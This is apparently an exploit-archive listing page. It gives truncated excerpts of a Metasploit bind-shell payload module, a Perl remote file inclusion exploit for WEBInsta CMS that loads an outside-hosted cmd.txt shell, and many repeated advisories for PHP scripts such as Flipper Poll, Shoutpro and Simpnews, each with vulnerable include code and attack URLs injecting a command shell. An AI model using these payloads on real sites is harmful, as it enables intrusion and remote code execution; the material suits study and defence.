Generic Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 0 include Msf::Payload::Single include Msf::Payload::Generic def initializeinfo =...

WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion

WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...

fusionpolls.txt

Fusion Polls xtrphome Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/admin/index.php?xtrphome=Command-Shell /SpC-x...

flipper.txt

Flipper Poll rootpath Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/poll.php?rootpath=Command-Shell poll.PHP : includeonce$rootpath...

shoutpro10.txt

SaVSaK.CoM | SpC-x - TheBeKiR | Shoutpro 1.0 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : Shoutpro Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"functions.php"; if $path $ips = file"$path/lists/bannedips.php"...

Simpnews <= All version - Remote File Include Vulnerabilities

SaVSaK.CoM | SpC-x - The-BeKiR | Simpnews = All version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : Simpnews Credits : SpC-x - The-BeKiR Thanks : Ejder - FasTBoY - ERNE - RMx Code : requireonce$pathsimpnews.'/langchk.php'; includeonce'./language/lang'.$actlang.'.php';...

gshout.txt

SaVSaK.CoM | SpC-x - TheBeKiR | G Shout 1.3.1 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : G Shout Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"./includes/functions.inc.php"; include...

shoutbox15.txt

SaVSaK.CoM | SpC-x - TheBeKiR | S H O U T B O X v1.5 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : S H O U T B O X Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : $thisdir = strreplace'\', '/', dirnameFILE; include"$thisdir/config.inc.php";...

Flipper Poll (root_path) Remote File Inclusion

Flipper Poll rootpath Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/poll.php?rootpath=Command-Shell poll.PHP : includeonce$rootpath...

SAXON.txt

SaVSaK.CoM | SpC-x - The-BeKiR | SAXON 4.6 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : SAXON Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : include"functions.php"; include "config.php"; include $template; Vulnerable ...

MDNews.txt

SaVSaK.CoM | SpC-x - The-BeKiR | MD News 1 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : MD News Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx Code : $configfile = "config.php"; require $configfile; Vulnerable : http://www.victim.com/MD...

CzarNews.txt

SaVSaK.CoM | SpC-x - The-BeKiR | CzarNews v1.14 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : CzarNews Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : iffileexists$tpath . "cnconfig.php" requireonce$tpath...

Mamblog.txt

SaVSaK.CoM | SpC-x - The-BeKiR | Mamblog 1.0 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : Mamblog Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : $cfgfile = "$mosConfigabsolutepath/components/$option/configuration.php"...

ltwcalendar.txt

SaVSaK.CoM | SpC-x - TheBeKiR | Ltwcalendar 4.1.3 version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : Ltwcalendar Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : requireonce'./private/ltwconfig.php';...

phphgGuestbook.txt

SaVSaK.CoM | SpC-x - The-BeKiR | phphg Guestbook Signed.PHP - Remote File Include Vulnerabilities Risk : High Class: Remote Script : phphg Guestbook Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : $phphgrealpath = "./"; include$phphgrealpath...

S H O U T B O X (v1.5) Version - Remote File Include Vulnerability

SaVSaK.CoM | SpC-x - TheBeKiR | S H O U T B O X v1.5 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : S H O U T B O X Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : $thisdir = strreplace'', '/', dirnameFILE; include"$thisdir/config.inc.php";...

simpleshout160.txt

SaVSaK.CoM | SpC-x - TheBeKiR | Simpleshout 1.6.0 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : Simpleshout Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : // Require files require $config; Vulnerable :...

G Shout 1.3.1 Version - Remote File Include Vulnerability

SaVSaK.CoM | SpC-x - TheBeKiR | G Shout 1.3.1 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : G Shout Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"./includes/functions.inc.php"; include...

simpnews.txt

SaVSaK.CoM | SpC-x - The-BeKiR | Simpnews = All version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : Simpnews Credits : SpC-x - The-BeKiR Thanks : Ejder - FasTBoY - ERNE - RMx Code : requireonce$pathsimpnews.'/langchk.php'; includeonce'./language/lang'.$actlang.'.php';...

Shoutpro 1.0 Version - Remote File Include Vulnerability

SaVSaK.CoM | SpC-x - TheBeKiR | Shoutpro 1.0 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : Shoutpro Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"functions.php"; if $path $ips = file"$path/lists/bannedips.php"...